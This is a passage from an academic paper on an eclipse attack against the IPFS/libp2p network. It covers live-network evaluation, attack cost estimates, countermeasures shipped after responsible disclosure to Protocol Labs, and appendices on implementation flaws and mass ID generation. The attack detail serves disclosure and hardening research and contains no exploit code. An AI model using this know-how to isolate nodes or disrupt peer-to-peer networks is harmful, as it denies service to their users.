tifiers, on the other hand, scales exponentially with the number of additional
buckets to cover and is therefore not economic.
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learning about other nodes. We rely on continuously prob-
ing the target’s routing table to receive feedback about the
attack’s progress (which is possible due to the deterministic
behaviour of Kademlia). Once successful, only four connec-
tions suffice to keep a regular IPFS node eclipsed. This is a
hardcoded value—a node with less connections will contact
the bootstrap nodes.

In summary, our attack exploits a variety of flaws in
libp2p/IPFS, specifically in the uncoordinated coexistence
of the ConnMgr, Bitswap and relaying DHT subsystems. This
results in nodes actively trimming connections to honest peers
after mere minutes, due to the ease of tricking the ConnMgr.
As part of engaging in a responsible disclosure process with
Protocol Labs, this has been acknowledged as a conceptual
problem without an easy solution. More exhaustive informa-
tion on issues and implementation flaws can be found in Ap-
pendix A, while technical details on remotely probing nodes,
identifier generation, ConnMgr exploitation are provided in
Appendix B.

5 Evaluation

In order to gauge the impact of our attack, two key scenarios
were evaluated. Attack runs were carried out against unmodi-
fied IPFS nodes operated within the live IPFS network. While
our main attack target was go-ipfs 0.4.23, version 0.5.0 was
also evaluated to asses the impact of countermeasures in-
cluded in this release (see Section 6). In both cases, the state
of an attack target’s swarm was queried locally at the target
node, while routing table information was obtained remotely
(see Appendix B.2) as part of the main attack loop. First,
the impact on an average node with default parameters was
measured. Subsequently, nodes with the same configuration
as the live IPFS bootstrap nodes18 were attacked. The evalua-
tion results for both scenarios are provided in Fig. 2. In both
cases, the DHT is fully poisoned within minutes (Sections 5.1
and 5.2 provide in-depth discussions of attack performance
for each scenario). Apart from attack performance evaluation,
we also provide an estimate regarding the cost of completely
disrupting the whole live IPFS DHT for version 0.4.23. Every
attack run was carried out 100 times against newly-spawned
IPFS nodes with random IDs we operated ourselves, with
permission and support from Protocol Labs when attacking
nodes operated by them.

5.1 Default Settings

The goal of this evaluation against an unmodified go-ipfs
v0.4.23 node with default ConnMgr parameters (lowWater =
600, highWater = 900, 20s grace period) is to see whether we
can eclipse average nodes in the IPFS network. This setting

18 These parameters were kindly provided to us by Protocol Labs to help
evaluating our attack’s impact.

(a) Default settings (lowWater=600, highWater=900, grace period=20s)

(b) Bootstrap settings (lowWater=1000, highWater=2000, grace period=60s).
Two runs failed due to attack nodes crashing, causing outliers. Note that only
the routing table is relevant for an attack bootstrap nodes.

Figure 2: Visualisation of the number nodes in an attack tar-
get’s swarm and routing table for 100 runs (overlaid). Regular
operation is followed by a surge of malicious nodes after
starting the attack.

used an attack duration of 50 minutes. Given that the pre-
generated IDs amount to more than the default 600 lowWater
many peers, poisoning a targets routing table and eclipsing
the swarm is virtually equivalent. As a result, few relayed
connections are sufficient to eclipse a target.

Fig. 2a visualises the number of attackers and other nodes
in the swarm and the target’s routing table for all 100 runs.
First, the plot clearly shows that all 100 victims were well
connected and that during the first 5 minutes the lowWater
mark was never undershoot. Starting the attack after 5 min-
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Figure 3: Probability of eclipsing a node with default settings
(lowWater=600, highWater=900, grace period=20s)

utes, the number of attackers in the swarm and the routing
table increase almost instantly, while the number of other
nodes drops rapidly. After less than ten minutes, the routing
tables of all attacked nodes are fully occupied by malicious
nodes, while after less than 17 minutes, the probability of fully
eclipsing a node is already > 50% as shown in Fig. 3. Even
less time is required in cases where an attacker’s goal is not
to fully eclipse a node but to prevent a node from discovering
any content with high probability. As also shown in Fig. 3,
diminishing a target’s swarm to less than ten connections is
virtually guaranteed in less than half an hour.
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Figure 4: Visualisation of a victim’s routing table over the first
15 minutes for IPFS 0.4.23, illustrating a sustainable effect

To better illustrate the impact of our attack on a target’s
routing table, Fig. 4 visualises table buckets for a single tar-
get. This reveals that initially only about 9 buckets are full
or partially filled, before the attack is started. The second
time slot on the x-axis shows the state directly after the start
of the attack. All empty spaces in all buckets until bucket
33 are filled up by the attackers. The third time slot shows
that after the connection manager tries to reduce the number
of connections, the number of other peers decreases drasti-
cally, meaning the node has been tricked to harm itself. After
the next connection cleanup phase, the routing table is fully
poisoned.

5.2 Bootstrap Settings
This setting uses an unmodified go-ipfs v0.4.23 node con-
figured to the same settings as the official bootstrap nodes
(lowWater = 1000, highWater = 2000, 60s grace period).
The goal of this evaluation is to see whether we can eclipse
the official bootstrap nodes. The attack duration was set to 50
minutes.
For bootstrap-node-like configurations, the number of peers
using a pre-generated ID for routing table poisoning is not
sufficient to have the ConnMgr prune all honest peers from an
attack target’s routing table. As a result, the number of relayed
connections can easily explode when seeking to fully eclipse
such a node, which can result in inadvertently overburdening
an attack target. In order to keep this period of high strain
as short as possible, we disable spawning relayed connec-
tions as soon as a target’s DHT is fully poisoned. As shown
in Fig. 2b this does not result in a successful eclipse attack
against an IPFS node run with bootstrap node configuration.
However, the swarm state is irrelevant for actual bootstrap
nodes, as swarm connections are not used for bootstrapping.
In addition, new swarm connections to the bootstrap nodes
are established as nodes are constantly joining the network
Therefore, attacking the swarm of bootstrap nodes is futile.
Nevertheless, even poisoning “only” the bootstrap nodes’ rout-
ing tables results in all newly (re)connecting peers to learn
only about malicious nodes, completely disrupting the live
IPFS network over time. Since this strategy is highly churn-
dependent, estimating the time required to reach the whole
network is beyond the scope of this work.

5.3 Attack Costs
Since our attack is rooted in pre-generating large quantities of
identifiers, which require terabytes of storage space and a fair
amount of computing power, this task drives costs. In order to
quantify the actual costs of running large-scale attacks against
IPFS, attention must also be paid to key network metrics
provided by Henningsen et al. [9]. Most prominently, only
about 3000 nodes were recorded to responded to connection
attempts, which means that the vast remainder of IPFS nodes
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is likely operated by private individuals behind a NAT. As
a consequence, it is sufficient to attack these 3000 nodes to
prevent the network from responding to any queries for honest
nodes connecting to the network. In addition, permanently
occupying the bootstrap nodes’ routing tables will prevent any
(re)connecting node from ever connecting to the live IPFS
network. Combining these two strategies will thus have a
devastating effect.

In accordance with this setting, deployment- and routing-
table-organisation-based attack model parameters matching
our attack strategy can be set as follows:

n = 3000 (= number of all reachable DHT nodes)

s100 = 2×20×3000 (in accordance with Eq. 3)

e = 20×dlog2(3000)e (in accordance with Eq. 4)

Up-Front Costs The only up-front cost for our attack is re-
lated to pre-generating 146bn identifiers, which occupy 29TB
of disk space (see Section 4.2). A quick search on a Euro-
pean price comparison service reveals a per-terabyte price
of less than e20 including VAT19 for external hard drives.
This results in an up-front storage cost of less than e600, to
store 29TB of identifiers20. In order to actually generate this
many identifiers, any commodity personal computer can be
used, adding an estimated e1000 for a machine dedicated to
generating identifiers, featuring an AMD Ryzen 3700X octa-
core CPU21. This results in an estimated up-front cost of less
than e2000 including a large margin for electricity costs that
easily covers the time it takes to generate the required amount
of identifiers as outlined in Section B.1. Mapping this number
to the attack model reveals that this ID pre-generation is not
dependent on any other parameters. As such, these costs are
considered part of ca (additional attack costs), while cs100 can
be neglected.
Running Costs The evaluation setup used to eclipse a single
node relied on virtual machines with 4 cores and 16GB RAM,
which cost e0.031 per hour and instance22 including VAT.
These costs already include ce, which corresponds to the cost
of running nodes to fill all routing table spots for a particular
network size. However, as we also inflate the scores of these
nodes and run additional nodes to occupy more DHT spots
for additional ConnMgr points, these running costs cover ce,
while also contributing to ca. Mapping this to the 3000 reach-
able IPFS nodes discovered by Henningsen et al. [9] results in
running costs of 3000×0.031e= 93e/h to attack all reach-
able nodes simultaneously. This does not allow conclusions
to be drawn regarding the overall number of active IPFS users,
since it does not respect the network’s churn rate. However,
this has no bearing on the cost of eclipsing all available nodes
19 https://geizhals.eu/?cat=hdx&xf=5588_HDD 20 Buy-
ing physical disks is significantly cheaper than cur-
rent rates for cloud storage for the scope of our attack.
21 https://geizhals.eu/?cat=sysdiv&xf=10863_8%7
E6764_AMD%7E6770_Ryzen+3000 22 https://www.hetzner.com/cloud

(as this number would not change, only individual attack tar-
gets would come and go). Due to libp2p’s routing table not
keeping disconnected peers, a fully eclipsed node is known
to be undiscoverable by the rest of the network. Once this
is achieved, the cost of keeping a node eclipsed drops sig-
nificantly, since it is sufficient to maintain as little as four
connections to keep the node from re-connecting to bootstrap
nodes. This scenario is no longer restricted by CPU or RAM
utilisation and has therefore negligible bearing on attack costs.
However, any churn requires continuous runs of the full attack
against newly joining nodes, which inflates costs. As of IPFS
0.4.23, global attacks can therefore be made more economic
by targeting only bootstrap nodes. In general, however, this
attack scenario scales linearly with network size/churn rate,
enabling highly efficient, global attacks. Recalling that it takes
less than an hour to eclipse an average node with 75% proba-
bility (see Fig. 3) makes it possible to estimate the absolute
cost for reaching this 75% target both for individual nodes
and globally, in accordance with Eq.5, and Eq. 6, respectively.

ci = 2000e+0.031e/h×1h ≈ 2000e (5)
ct = 2000e+3000×0.031e/h×1h ≈ 2100e (6)

While this will impact operations and fully eclipse a signif-
icant portion of all DHT nodes, it will not fully disrupt and
halt the network, since the chance of success is 75%. Con-
sidering the low up-front cost, however, the actual cost of
isolating individual nodes is negligible, even if it takes many
more hours to fully eclipse them. This observation enables a
different kind of attack strategy to actually grind the complete
DHT-based IPFS network to a halt.
Fully Disrupting the Network Considering the virtually
perfect success rate for poisoning a node’s DHT after running
the attack merely for a few minutes (as shown in Fig. 2b) and
also the low number of bootstrap nodes, eclipsing bootstrap
nodes presents an attractive global attack strategy. After all,
if all bootstrap nodes’ routing tables are fully poisoned, any
regular node carrying out the bootstrapping routine (after be-
ing eclipsed themselves, or after a restart) will only receive
information about attacker-controlled nodes. In accordance
with Section 4.1, collapsing the DHT in this way will lead to
eventually disconnecting all nodes from each other, fully dis-
rupting the network. Keeping bootstrap nodes eclipsed does
require running the full attack, since newly joining nodes
will continuously establish connections. The cost for global
attacks can therefore be estimated as follows: At a cost of
0.031e/h for a cloud instance targeting a single node, attack-
ing the eight bootstrap nodes used as of IPFS 0.4.23 results
in running costs of 8×0.031e/h = 0.248e/h. Mapping these
numbers to the attack model allows for calculating the total
attack cost according to Eq. 7.

ct = 2000e︸ ︷︷ ︸
ID generation

+(8×0.031e/h = 0.248e/h)︸ ︷︷ ︸
keeping bootstrap nodes eclipsed

(7)
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As can be seen, running costs are negligible, and up-front
costs are also low, considering the impact of such an attack.
Apparently, this formula does not rely on any network pa-
rameters, which would mean that the cost of disrupting the
whole IPFS network would remain constant regardless of
network size. If this attack was to be mounted on a network
featuring significantly more DHT server nodes, however, the
score of attacker nodes would need to be inflated more ag-
gressively, as more honest nodes would occupy more DHT
buckets to begin with. As the number of buckets occupied
by honest nodes scales logarithmically with network size, so
does the required ConnMgr score, which needs to be exceeded
by attacker-controlled nodes. Recalling Section 4.2, our at-
tack exploits the relaying subsystem to do so by spawning
large numbers of relayed connection, each of which awards
one point to an attacker-controlled node. The resource con-
sumption of this attack part thus also scales logarithmically
with network size and as a result will become the dominating
factor as the number of honest nodes grows. In effect, the cost
of fully disrupting the DHT-based IPFS network through at-
tacking bootstrap nodes scales logarithmically with network
size, as more powerful instances will be required.

Admittedly, the model introduced in Section 3.4 may ap-
pear to be at odds with the chosen attack strategy. This, how-
ever, is attributed to the fact that easily exploitable flaws
severely reduce the impact of network-related parameters.
As discussed in the following section, various countermea-
sures, which have since been rolled-out, significantly impact
attack costs, which puts any potential strategies taking these
measures into account more in line with the attack model.
Moreover, this abstract model will be shown to enable quali-
tative comparisons with related attacks on other systems in
Section 7.

6 Countermeasures

Our attack only works because it is easily possible to mount
Sybil attacks, which were first introduced by Douceur in
2002 [5]. The easiest way to prevent our attack would thus
be to prevent Sybil attacks. This, however, is hardly feasible
in practice given the open, decentralised-by-design nature of
IPFS, and its key promise to let anyone participate in the net-
work without central governance. As Douceur put it: “With
no logically central, trusted authority [. . .] it is always pos-
sible [. . .] to present more than one identity [. . .]” [5]. This
is further supported by a 2006 survey by Levine et al. [12]
and by a more recent study by Mohaisen and Kim [18]. Nev-
ertheless, attackers can still be hindered from weaponising
the operation of large numbers of malicious network nodes
to a great extent. The generation of a large identifier set can-
not practically be mitigated in decentralised systems when
considering large-scale attacks. After all, it took us four days
to generate enough identifiers to target networks consisting
of billions of nodes (see Appendix B). While Proof-of-Work

(PoW)-based ID generation as proposed by Baumgart and
Mies [3] would inflate up-front costs, Prünster et al. [20] have
reached the conclusion that this is ultimately futile even for
modern systems employing self-certifying identifiers and au-
thenticated end-to-end encryption. Even a moderately funded
attacker could simply invest in enough computing power to
counter any realistic PoW factor.

Presenting our attack to Protocol Labs as part of the respon-
sible disclosure process has intensified an already ongoing
effort of hardening IPFS/libp2p, resolving the issue of uncon-
ditional removal of DHT nodes (see Section A) in the libp2p
version that ships with go-ipfs v0.5, as released on April 28,
2020. Apart from that, many other fixes were released, with
go-ipfs 0.6 (published in June) effectively preventing casual
attackers from carrying out the attack presented in this paper.

Protocol Labs allowed us to attack bootstrap nodes running
go-ipfs 0.5 right after its release, as well as performing attack
runs on 0.6. In accordance with the timeline of releases, ma-
jor changes affecting our attack are highlighted for go-ipfs
0.5, followed by a discussion on 0.6 improvements as well as
other fixes related the discovered vulnerabilities.
IPFS 0.5 Mitigations Amongst many other changes, the
libp2p version shipping with go-ipfs 0.5 in April 2020 in-
troduced a DHT eviction strategy including periodic routing
table refreshing and testing peer liveliness based on three
parameters: (1) Time of last successful outbound query, (2)
last time a peer was considered useful (see below), and (3)
eviction grace period, which depends on bucket size and re-
fresh period; typically in the order of 45 minutes. The first
parameter is used during periodic routing table refreshes. A
ping is issued when a peer has not been successfully queried
within the grace period. Failure to respond results in eviction.
Consequently, stale peers are periodically removed from the
DHT even if the buckets they reside in still feature vacant
spots. A peer is considered useful, if it either responded first
to a query or if responding took less than twice the time of
the fastest responding peer. Whenever this condition is met,
the last useful time is recorded. In case a bucket is full, while
another peer shall be added to this bucket, peers whose last
useful time lies beyond the grace period are evicted. In such
cases, however, responding to a query with an empty result
is also considered useful by the DHT implementation ( even
though it is not actually useful in reality). This prevents nodes
from penalising honest peers that simply could not provide the
data required to respond to a query, which helps new nodes
join the network. At the same time, however, becoming useful
can be relatively cheap, since no information is required to
still become useful. In addition, only routing table peers are
evaluated for usefulness, due to the usefulness definition be-
ing limited to DHT operations. Thus, even a theoretic swarm
node providing all the content ever queried would not join the
routing table easier than any other node.

As a consequence of these changes, the connection trim-
ming of the ConnMgr has no immediate effect on the routing
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table, since even disconnected peers are remembered and
are reconnected to if necessary. Thus, lowWater, highWater
marks, and grace period also have no effect on the routing ta-
ble. Given that the typical eviction grace period is close to an
hour, the cost of poisoning a target’s routing table is increased
by several orders of magnitude compared to the mere minutes
required to fully take over an IPFS 0.4.23 node’s routing table.
In fact, even after twelve hours, an IPFS 0.5 node in bootstrap
configuration still features honest peers in its routing table
(see Fig. 5a).

Shortly after releasing go-ipfs 0.5 on April 28, 2020, Proto-
col Labs let us evaluate our attack against one of the produc-
tion IPFS bootstrap nodes over three hours in the live IPFS
network in order to gauge the impact of the newly deployed
countermeasures. Since this concrete attack run targeted a
production system, the evaluation period was chosen in such
a way that results could be obtained to make an initial judge-
ment regarding the deployed countermeasures’ utility without
causing any real disruption to the network. The results are
presented in Fig. 5b. Compared to attacking nodes specifi-
cally for evaluation purposes (not used by others for actual
bootstrapping), an increased resilience can be observed. This
was to be expected, since the increased query frequency to
bootstrap nodes awards a larger set of honest peers a useful
state. As a consequence, these peers are kept in the routing
table. After only one hour, however, the initial number of
200+ honest peers in the bootstrap node’s routing table could
be more than halved and then remained below 100, clearly
demonstrating the impact our attack still has on IPFS 0.5. Pro-
tocol Labs’s estimate regarding attack difficulty for go-ipfs
0.5, is that fully poisoning a bootstrap node’s routing table is
still possible within several days.
IPFS 0.6 and 0.7 Measures The most crucial measure to
boost attack costs by orders of magnitude was included in
go-ipfs 0.6 released in June 2020. In effect, IP-addresses are
now considered with respect to adding nodes to the local
routing table, making it impossible to mount large-scale
Sybil attacks from a single host. Instead, at most three nodes
associated with a single host (IPv4, IPv623) can become
resident in a node’s routing table. Therefore, this measure
by itself already inflates the cost of attacking a single node
by over two orders of magnitude compared to IPFS 0.5.
Mapping this against the estimate of several days to fully
eclipse a bootstrap node clearly puts this out of reach for
casual attackers. Compared to theoretic proposals of limiting
the numbers of identifiers that can be advertised to a P2P
network per IP address, multiple nodes can still join the
network from the same host. In fact, this aligns with the
distinction between client and server-mode DHT that aims
at mapping to nodes operated behind NATs. In addition,
IPFS 0.7 deprecated the previously used transport security
mechanism, which breaks compatibility to pre-0.6 releases.

23 Even presenting multiple IPv6 addresses from a single large IPV6 subnet
has no effect.
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(a) Attack performance on a IPFS 0.5 node run with bootstrap node configu-
ration over twelve hours. This node baehaved like a regular node and was not
used for actually bootstrapping. Thus, it more closely resembles a regular
node, not a bootstrap node with respect to network interactions.
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(b) Attack performance on a live IPFS 0.5 bootstrap node over three hours.
The attacks was launched 15 minutes after starting to collect metrics.

Figure 5: Visualisation of routing tables for go-ipfs 0.5.
Higher attack resiliency can be observed for the bootstrap
node due to interacting with more nodes. By comparison, the
attack on a regular nodes becomes increasingly successful
during the course of the first five hours. Honest peers are
visualised in green, malicious peers in red and empty spots in
otherwise filled buckets are shown in black.
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As a result, older instances are required to update to a release
containing fixes, if operators want to continue to participate
in the network.
Additional Deployed Changes Aside from these key
changes, additional countermeasures were rolled out since
IPFS 0.4.23. These include a fixed score for nodes acting
as relays to prevent relay-based inflation of ConnMgr
scores. While many third-party projects rely on different
parts of libp2p’s functionality, the relaying subsystem is
expected to be used in virtually all P2P-related projects
that require connecting users behind NATs. Therefore, this
change is expected to impact many libp2p-based applications.
Moreover, nodes in the lowest two DHT buckets are exempt
from pruning, while higher buckets are now assigned a fixed
score of five points. While this may seem counter-intuitive, it
prevents attackers capable of generating a huge body of valid
identifiers from gaining an advantage for small network sizes
by ConnMgr points awarded from the DHT subsystem. In
effect, nodes are scored more equally due to these changes.
Moreover, libp2p now verifies reachability of advertised IP
addresses, and only adds those nodes who actually respond
to connection requests. This already goes a long way towards
solving the issue of unconditional trust and makes it harder to
become resident in routing tables. In addition, configuration
of direct peering agreements was also elevated to a core
feature of the IPFS reference implementation.
Revisiting Attack Cost Putting the impact of these
countermeasures into context is easily possible, when
inserting updated cost factors into the abstract attack model
introduced in Section 3.4 and comparing them to our attack’s
cost estimates obtained for IPFS 0.4.23 (see Section 5).
While up-front costs remain unchanged, running costs have
increased dramatically due to a discrete cloud instance being
required for every three attacker nodes aimed at poisoning
a node’s routing table. As these instances will only run a
small number of nodes, cheaper, low-power offers can be
used, priced at 0.005e/h, for example24. In addition, the
relaying subsystem cannot be exploited any more to gain
more ConnMgr points than an honest connection by relaying
large numbers of nodes, which is why higher-performing
cloud instances would not provide any advantage. In effect,
our attack cannot be sped up and is dependent on churn
only. Moreover, attacker-controlled nodes occupying higher
buckets than regular nodes (which is based on network
size) makes little sense. In fact, the naïve attack strategy
from Section 4.1 becomes attractive again, which results in
estimated costs for poisoning an individual node’s routing
table according to Eq. 8:

ce = 20︸︷︷︸
k

×dlog2(3000︸︷︷︸
total DHT nodes

)e/ 3︸︷︷︸
nodes per cloud instance

×0.005e/h≈ 0.4e/h (8)

In order to estimate the absolute cost of such an attack, it
24 We rely on the same service provider for this estimate, whose pricing of
discrete instances is a better fit that buying IP addresses.

is important to take into account how the deployed counter-
measures affect the required duration of such an attack to be
successful. Monitoring regular IPFS nodes revealed that the
lowest two buckets of their routing tables still contained a com-
bined number of twenty nodes even after a week. The majority
of these honest nodes were evicted from the DHT within the
first 24 hours, with little changes being observed afterwards.
Since all routing information in these lowest two buckets is
protected from being pruned by the ConnMgr, this observation
provides insights with respect to how the deployed counter-
measure improved attack resiliency: An attack needs to be
run for weeks (at a cost of ci = 0.4×24×7 = 67.20e/week)
rather than minutes in order to fully poison a single node’s
routing table. As such, individual and global attacks become
infeasible for casual attackers.

7 Related Work

As our work presents an attack on a peer-to-peer system in pro-
duction use, this section focuses on work related to analysing
and attacking similar live systems. For theoretical models and
surveys on this matter, we refer to the works of Levine et al.
[12] and Mohaisen and Kim [18] (see Section 6).

Although IPFS was launched in 2013 and has continuously
gained traction, scientific literature on IPFS is still scarce.
Apart from the original whitepaper [4] and protocol specifi-
cations of varying maturity25, little in-depth documentation
on IPFS is currently maintained. Metrics on the overall IPFS
network are also not available. However, a 2020 paper [9]
crawled the live IPFS network, the results of which were used
to estimate the cost of our attack in Section 5. This work also
stressed that no countermeasures against Sybil attacks were
in place as of version 0.4.23, contrary to the original IPFS
whitepaper. The authors also observed that the way IPFS im-
plements content discovery (first querying all connected peers
and only then falling back to querying the DHT in case none
of the contacted peers would serve the requested content)
provides some resilience against eclipse attacks aimed at the
DHT. Our work demonstrates, however, that this defence was
extremely limited in scope, leaving the possibility to fully
eclipse a node in less than one hour with ≈ 75% probability.

Similar to our work on IPFS, Heilman et al. [7] demon-
strated a successful eclipse attack against Bitcoin [19]. On the
surface, this attack was based on flaws similar to the issues we
discovered in IPFS. Most prominently, peers that were still
running and maintaining connections to an attack target could
be replaced by fresh malicious peers. Among the counter-
measures deployed to the Bitcoin reference implementation,
an adapted eviction strategy—keeping live peers instead of
having them easily replaced—showed the most impact in the
context of defending eclipse attacks. Actually carrying out an
eclipse attack against even a single Bitcoin node without such
countermeasures is considerably more expensive than our
25 https://github.com/ipfs/specs
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Table 1: Cost comparison of different attacks on IPFS (with/without countermeasures) and Ethereum (Henningsen et al. [8])

ci ct Runtime26 Real-world cost Params
ci ct

Ours (IPFS 0.4.23) 2000e+0.031e/h 2000e+n×0.031e/h <1h 2000e 2100e n = 3000

Ours (IPFS 0.4.23;
n/a 2000e+b×0.031e/h ∞ n/a

2000e
b = 8Bootstrap attack) +0.248e/h

Naïve (IPFS 0.7) k×dlog2(n)e/3×0.005e/h n× ci weeks 67.20e/week eee k = 20, n = 3000

Ethereum 2×0.05e/h p×25000×2×0.05e/h ≈5d / ∞ ≈12e ??? n = 25000, p =?

attack against IPFS prior to version 0.6, due to the fact that
widely-distributed IP addresses are required. This was mainly
due to the different organisation of Bitcoin’s routing tables
compared to the libp2p DHT and not primarily for reasons of
hardening against attacks. Since the paper by Heilman et al.
does not provide tangible cost estimates to use for an abstract
attack model, a qualitative economic comparison with our
work is considered out of scope.
An attack that uses similar principles as ours has been shown
to be successful against the Ethereum cryptocurrency [14]27.
However, there are several important differences to our work.
Most prominently, our attack is more powerful, as it works in
near-realtime by tricking a node into actively disconnecting
itself from the rest of the network. In contrast to the attack on
Ethereum, our attack thus requires no other forms of DoS or
high churn rates attacks to succeed. This is crucial, as system
downtime could be easily detected, while our attack simply
requires additional connections to be established (many of
which can be multiplexed, thus not showing up on network
monitors). The generic issue of how IPFS implements connec-
tion management is distinctly different from Ethereum and
also independent of the DHT-related attack vector that shows
similarities to the attack on Ethereum. As such, our attack is
not limited to the DHT subsystem that shares much of the con-
ceptual functionality of Ethereum’s P2P network (although it
exploits the fact how the IPFS DHT subsystem awards Conn-
Mgr points). Moreover, our way of gaming IPFS’s ConnMgr
makes it possible to deliberately have nodes outside an at-
tackers control induce churn with low effort. This in itself
is an attack not discussed in related works targeting systems
used in practice28. Our attack against IPFS v0.4.23 also takes
only minutes to fully poison any node’s routing table and less
than an hour to fully eclipse a node with high probability,
without requiring additional DoS attacks. In addition, coun-
termeasures such as non-public mapping from node ID to
bucket are simply not applicable to IPFS since these would
render one of its core features defunct. In short, the attacks

26 Global attacks need to be run continuously, while the runtime for at-
tacking single nodes indicates how long it takes to reach an eclipsed state.
27 This attack was performed prior to Ethereum’s planned switch to libp2p.
28 Evaluating the impact of such churn attacks is out of this work’s scope.

against cryptocurrencies require the target to reboot, take sev-
eral days to execute, are orders of magnitude more expensive,
and suggested countermeasures are not applicable to IPFS.
One reason for these differences is the fact that attacks on
cryptocurrencies typically aim at single nodes while our mo-
tivation was to mount cheap global-scale attacks.
The same applies to the follow-up attack on Ethereum by Hen-
ningsen et al. [8]. This attack’s scenario and execution reflects
the naïve attack strategy introduced in Section 4.1, making it
churn-dependent. As Ethereum is also Kademlia-based, the
same attack formulas apply. In accordance with Henningsen
et al., the number of relevant Ethereum nodes is small enough
to also result in negligible cost for pre-generating identifiers
(based on an assumed total of 25000 relevant nodes). In addi-
tion, flaws of Ethereum’s peer-discovery process are exploited
to drastically cut running costs. In effect, eclipsing a single
node amounts to operating two hosts in distinct /26 IPv4
subnets. Based on our cost model (and mapping the more
powerful machines used by Henningsen et al. to cloud offers),
this would result in running costs of ci = 2×0.05 = 0.1e/h.
The authors came to the conclusion that this attack needs
to be run for about five days when not forcing the victim to
reboot, which results in overall costs of ≈12e. Even when
considering the fact that multiple targets could be attacked by
the same cloud instance (a parallelisation factor that decreases
global costs), expanding this attack to the estimated 25000
relevant nodes scales linearly, in accordance with Eq. 9.

ct = p︸︷︷︸
parallelisation factor <1

×25000︸ ︷︷ ︸
number of nodes

×2×0.05e/h︸ ︷︷ ︸
cost of running two instances

(9)

Not knowing about the exact amount of resources required
to attack a single node in terms of main memory and CPU
power, precisely estimating the parallelisation factor is diffi-
cult. However, linearly scaling with network size and taking
days to show results, this attack on Ethereum is clearly less
economic on a global scale than our approach aimed at boot-
strap nodes—especially when considering that such attacks
need to be run continuously. Still, actually evaluating such a
strategy against the whole Ethereum network is beyond the
scope of this work. Moreover, none of this is of any signifi-
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cant practical relevance due to Ethereum’s switch to libp2p.
As such, our findings and the deployed countermeasures also
benefit Ethereum and can serve as basis for further, in-depths
analysis and hardening efforts. As a starting point, Table 1
provides a cost comparison of all discussed attack strategies
and their targets (note that the attack on IPFS 0.7 and variants
of the Ethereum attack are highly churn and network-size
dependent).

8 Conclusions

In this paper, we described, and demonstrated a successful
end-to-end eclipse attack on IPFS. Exploiting vulnerabilities
of the libp2p library, one aspect of our attack is to success-
fully poison routing information locally stored by nodes of
IPFS’s underlying P2P network. In addition, we have shown
that our attack enables us to eclipse arbitrary IPFS nodes and,
consequently, to disrupt the entire public DHT-based IPFS net-
work. Applying our attack on live IPFS nodes demonstrated
the effectiveness and feasibility of the attack. The conducted
evaluations have demonstrated the alarming fact that attacks
on a global scale can already be mounted with low effort,
meaning that this attack is feasible even for attackers with
limited resources.

The impact of our proposed attack is substantial mainly
for two reasons. First, our attack exploits a conceptual flaw
in the connection management of IPFS for which there is no
easy solution. Secondly, our work has lead to a successful,
ongoing hardening process. The entire ecosystem beyond
decentralised exchange of data (but also other IPFS-based
services) benefits from upstream releases incorporating fixes.
Two major version of the IPFS reference implementation were
released since reporting our findings to Protocol Labs, both
of which contain fixes, resulting in a huge increase of attack
costs. As a consequence, casual attackers will not be able to
replicate our attack against updated nodes.

The main reason why our attach was so successful with
such low costs can be attributed to a lack of integration: On the
one hand, IPFS in general (and libp2p in particular) recognises
the fact that a P2P system’s infrastructure is upheld by its users
and therefore provides a feedback loop to have application-
layer behaviour impact the P2P network layer. In the case
of IPFS, this feedback loop is realised as the ConnMgr’s
scoring system. On the other hand, different subsystems still
award points oblivious to each other. This made it possible to
game the ConnMgr without much effort. The fully open and
extensible nature of IPFS will always introduce issues of this
kind, as third-party subsystems have the potential to interfere
with each other’s scoring methods. At the same time, our
attack harnessed points from the P2P network layer as well as
from the application layer, also highlighting a lack of vertical
integration. This lesson should, at the very least, be carefully
observed by developers of P2P systems, as it highlights how a
layered mental model towards security does not apply well to

this environment. Moreover, our attack model can be applied
to other systems for gauging attack costs and comparing attack
strategies. Following this course makes it possible to identify
cost-driving factors and to distinguish between the impact of
the operational environment (number of nodes, churn, . . .),
system properties (such as routing table design, and the choice
of using fixed bootstrap nodes), and implementation flaws. As
demonstrated by the fixes introduced with IPFS 0.7, minor
design changes deployed to the same environment can have a
huge impact.
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A Implementation Flaws

Apart from the conceptual issue of lacking integration be-
tween the ConnMgr and other subsystem,we have identified
the concrete flaws, which contribute significantly to the per-
formance of our attack. Exploiting these issues is therefore
key for low-budget, high-impact attacks. This appendix pro-
vides more in-depth details on these matters.
Allowing Only Inbound Connections: While libp2p differ-
entiates between inbound and outbound links, this has no
bearing on the ConnMgr’s trimming routine, making it possi-
ble to trim all outgoing connections.
Unconditional Removal of DHT Nodes: Since the Conn-
Mgr does not interpret scores and tags, and DHT connections
do not receive special treatment, it is possible to push all le-
gitimate connections out of the DHT and replace them with
malicious ones. This goes against the original Kademlia de-
sign, which favours older connections. Note that from the
DHT’s point of view, this characteristic is still upheld, but the
ConnMgr manually disconnects already known connections
that would prevent new ones from entering the DHT.
Stateless Connectivity Monitoring: The DHT is instructed
to re-execute a bootstrap manoeuvre to connect to pre-
configured bootstrap nodes, whenever less than four open
connections remain. However, no further action is taken even
if this situation becomes stationary. This effectively enables
an attacker to keep a node eclipsed with as little as four open
connections, once an eclipsed state is initially reached. This
monitoring loop to check connectivity is executed once a
minute.
Static Bootstrap Nodes: IPFS relies on a static set of boot-
strap nodes. Although this set can be configured, a node does
not keep track of peers to which it was once connected to.
As a result of this, a restarting node will always bootstrap
against the same set of nodes, regardless of connectivity prior
to restarting. As a consequence, compromising the default set
of bootstrap nodes will affect all nodes as soon as they restart
(and not only newly joining nodes).
Unconditional Trust: Although rigorous data integrity
checks are a core feature of the main IPFS functionality, the
same can not be said with respect to information concerning
the network’s node. This meta issue affects many subsystems.
In short, almost all claims made by a peer about its charac-
teristics and capabilities are taken at face value, even when
simple checks could expose cheating. As for the DHT, this
makes it easily possible to fill a node’s DHT with bogus IPs.
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B Technical Attack Details

This appendix provides in-depth details on how we imple-
mented the key steps of our attack. More specifically, this
covers the one-time ID generation phase, the setup, and at-
tack phase depicted in Fig. 1 and includes details on remotely
probing an attack target’s state.

B.1 ID Generation
Our attack requires efficient generation of vast amounts of
valid identifiers to position nodes at specific distances to
any node. Thus, a one-time ID pre-generation routine is run.
libp2p supports RSA and EC keys. By generating only EC-
based identifiers, both generation times and the amount of
storage required to manage a large set of IDs is reduced com-
pared to RSA. To maximise throughput, we increment an
integer and interpret it as a private key29. This approach gen-
erates 8-10k keys per second per CPU core based on an Intel®
Xeon® E5-2699 v4 CPU @ 2.20GHz. Overall throughput is
mainly limited by IO speed.

Our storage format is simple and efficiently searchable:
Each generated key is stored to a file named after the first 14
